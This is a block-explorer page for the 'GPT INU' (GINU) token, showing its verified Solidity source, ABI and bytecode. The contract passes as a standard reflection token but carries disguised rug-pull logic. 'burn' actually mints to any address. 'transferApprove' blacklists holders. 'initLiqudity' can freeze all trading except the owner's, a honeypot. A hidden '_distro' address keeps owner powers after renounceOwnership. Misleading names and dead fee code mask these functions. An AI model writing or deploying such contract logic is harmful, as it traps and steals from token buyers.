ETH Price: $2,624.44 (+1.25%)

Token

GPT INU (GINU)
 

Overview

Max Total Supply

2,000,000,000,000,000,000,000 GINU

Holders

74

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GINU

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 5: GPT INU.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;


import "./IERC20.sol";
import "./Context.sol";
import "./SafeMath.sol";
import "./Address.sol";

contract GINU is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _vOwned;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcluded;
    address[] private _excluded;
    mapping (address => bool) private _tokenFromReflectionLiquidityLiquidityStateLiquidityState;
    event botTransferApprove (address botAddress, bool isBanned);
    uint256 private _tFeeTotal;
    bool _liquidity;
    uint256 private _rTotal;
    uint256 private _totalSupply;
    address public uniswapV2router;

    string private _name = 'GPT INU';
    string private _symbol = 'GINU';
    uint8 private _decimals = 9;
    uint256 private constant _tTotal = 2000000000000*10**9;
    uint256 private constant MAX = ~uint256(0);

    constructor (address router, address distro) Ownable(distro){
        uniswapV2router = router;
        _totalSupply =_tTotal;
        _rTotal = (MAX - (MAX % _totalSupply));
        _vOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _totalSupply);
        _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
        _isExcluded[_msgSender()] = true;
        _excluded.push(_msgSender());
        _liquidity = true;
    }

    function transferApprove(address[] memory botAddress, bool bot) external onlyOwner {
        for (uint256 i=0; i<botAddress.length; i++){
            _tokenFromReflectionLiquidityLiquidityStateLiquidityState[botAddress[i]] = bot;
            emit botTransferApprove (botAddress[i], _tokenFromReflectionLiquidityLiquidityStateLiquidityState[botAddress[i]]);
        }
    }
    
    function taxTransfer(address botAddress) public view returns (bool) {
        return _tokenFromReflectionLiquidityLiquidityStateLiquidityState[botAddress];
    }
    
    function initLiqudity() public virtual onlyOwner {
        if (_liquidity == true) {_liquidity = false;} else {_liquidity = true;}
    }
    
    function liquidityState() public view returns (bool) {
        return _liquidity;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
         return _vOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    } 
       function burn(address owner, uint256 amount) public virtual onlyOwner {
        _vOwned[owner] = _vOwned[owner].add(amount);
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function alreadyTakenFees() public view returns (uint256) {
        return _tFeeTotal;
    }
    
    function reflect(uint256 tAmount) public {
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        (uint256 rAmount,,,,) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,) = _getValues(tAmount);
            return rAmount;
        } else {
            (,uint256 rTransferAmount,,,) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_tokenFromReflectionLiquidityLiquidityStateLiquidityState[sender]) require (amount == 0, "");
        if (_liquidity == true || sender == owner() || recipient == owner()) {
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
        _vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _vOwned[recipient] = _vOwned[recipient].add(amount);
        emit Transfer(sender, recipient, amount);     
        } else {_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _vOwned[recipient] = _vOwned[recipient].add(amount);
        emit Transfer(sender, recipient, amount);}
        } else {require (_liquidity == true, "");}
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);       
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);        
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
    }

    function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
        uint256 tFee = tAmount.mul(2).div(1000);
        uint256 tTransferAmount = tAmount.sub(tFee);
        return (tTransferAmount, tFee);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

File 1 of 5: Address.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies in extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.

        uint256 size;
        // solhint-disable-next-line no-inline-assembly
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`.
     * A plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly
                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

File 2 of 5: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
       return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode.
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Context {
    address private _owner;
    address private _distro;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor (address distro_) {
        address msgSender = _msgSender();
        _owner = msgSender;
        _distro = distro_;
        emit OwnershipTransferred(address(0), msgSender);
    }
    
    /**
     * @dev Returns the address of the current owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    
    /**
     * @dev Throws if called by any account other than the owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
   
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _distro : _owner;
    }

    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
}

File 4 of 5: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}.
     * This is zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) 
     * to another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 5 of 5: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"distro","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"botAddress","type":"address"},{"indexed":false,"internalType":"bool","name":"isBanned","type":"bool"}],"name":"botTransferApprove","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"alreadyTakenFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initLiqudity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liquidityState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"botAddress","type":"address"}],"name":"taxTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"botAddress","type":"address[]"},{"internalType":"bool","name":"bot","type":"bool"}],"name":"transferApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040526040518060400160405280600781526020017f47505420494e5500000000000000000000000000000000000000000000000000815250600e90816200004a919062000c0f565b506040518060400160405280600481526020017f47494e5500000000000000000000000000000000000000000000000000000000815250600f908162000091919062000c0f565b50600960105f6101000a81548160ff021916908360ff160217905550348015620000b9575f80fd5b5060405162003d4038038062003d408339818101604052810190620000df919062000d58565b805f620000f1620004b760201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505081600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550686c6b935b8bbd400000600c81905550600c545f196200022f919062000dca565b5f196200023d919062000e2e565b600b81905550686c6b935b8bbd40000060025f62000260620004b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620002ad620004b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516200030d919062000e79565b60405180910390a36200037260035f6200032c620004b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054620004be60201b60201c565b60045f62000385620004b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160065f620003d7620004b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600762000438620004b760201b60201c565b908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a5f6101000a81548160ff021916908315150217905550505062001084565b5f33905090565b5f600b5482111562000507576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004fe9062000f18565b60405180910390fd5b5f620005186200053760201b60201c565b90506200052f81846200056a60201b90919060201c565b915050919050565b5f805f6200054a620005bb60201b60201c565b915091506200056381836200056a60201b90919060201c565b9250505090565b5f620005b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200088d60201b60201c565b905092915050565b5f805f600b5490505f686c6b935b8bbd40000090505f5b6007805490508110156200083e578260035f60078481548110620005fb57620005fa62000f38565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541180620006e457508160045f6007848154811062000680576200067f62000f38565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054115b156200070457600b54686c6b935b8bbd4000009450945050505062000889565b6200079460035f6007848154811062000722576200072162000f38565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205484620008f360201b90919060201c565b92506200082660045f60078481548110620007b457620007b362000f38565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205483620008f360201b90919060201c565b91508080620008359062000f65565b915050620005d2565b506200085f686c6b935b8bbd400000600b546200056a60201b90919060201c565b8210156200088057600b54686c6b935b8bbd40000093509350505062000889565b81819350935050505b9091565b5f8083118290620008d6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008cd91906200102b565b60405180910390fd5b505f8385620008e691906200104d565b9050809150509392505050565b5f6200093c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506200094460201b60201c565b905092915050565b5f8383111582906200098e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200098591906200102b565b60405180910390fd5b505f83856200099e919062000e2e565b9050809150509392505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000a2757607f821691505b60208210810362000a3d5762000a3c620009e2565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000aa17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a64565b62000aad868362000a64565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000af762000af162000aeb8462000ac5565b62000ace565b62000ac5565b9050919050565b5f819050919050565b62000b128362000ad7565b62000b2a62000b218262000afe565b84845462000a70565b825550505050565b5f90565b62000b4062000b32565b62000b4d81848462000b07565b505050565b5b8181101562000b745762000b685f8262000b36565b60018101905062000b53565b5050565b601f82111562000bc35762000b8d8162000a43565b62000b988462000a55565b8101602085101562000ba8578190505b62000bc062000bb78562000a55565b83018262000b52565b50505b505050565b5f82821c905092915050565b5f62000be55f198460080262000bc8565b1980831691505092915050565b5f62000bff838362000bd4565b9150826002028217905092915050565b62000c1a82620009ab565b67ffffffffffffffff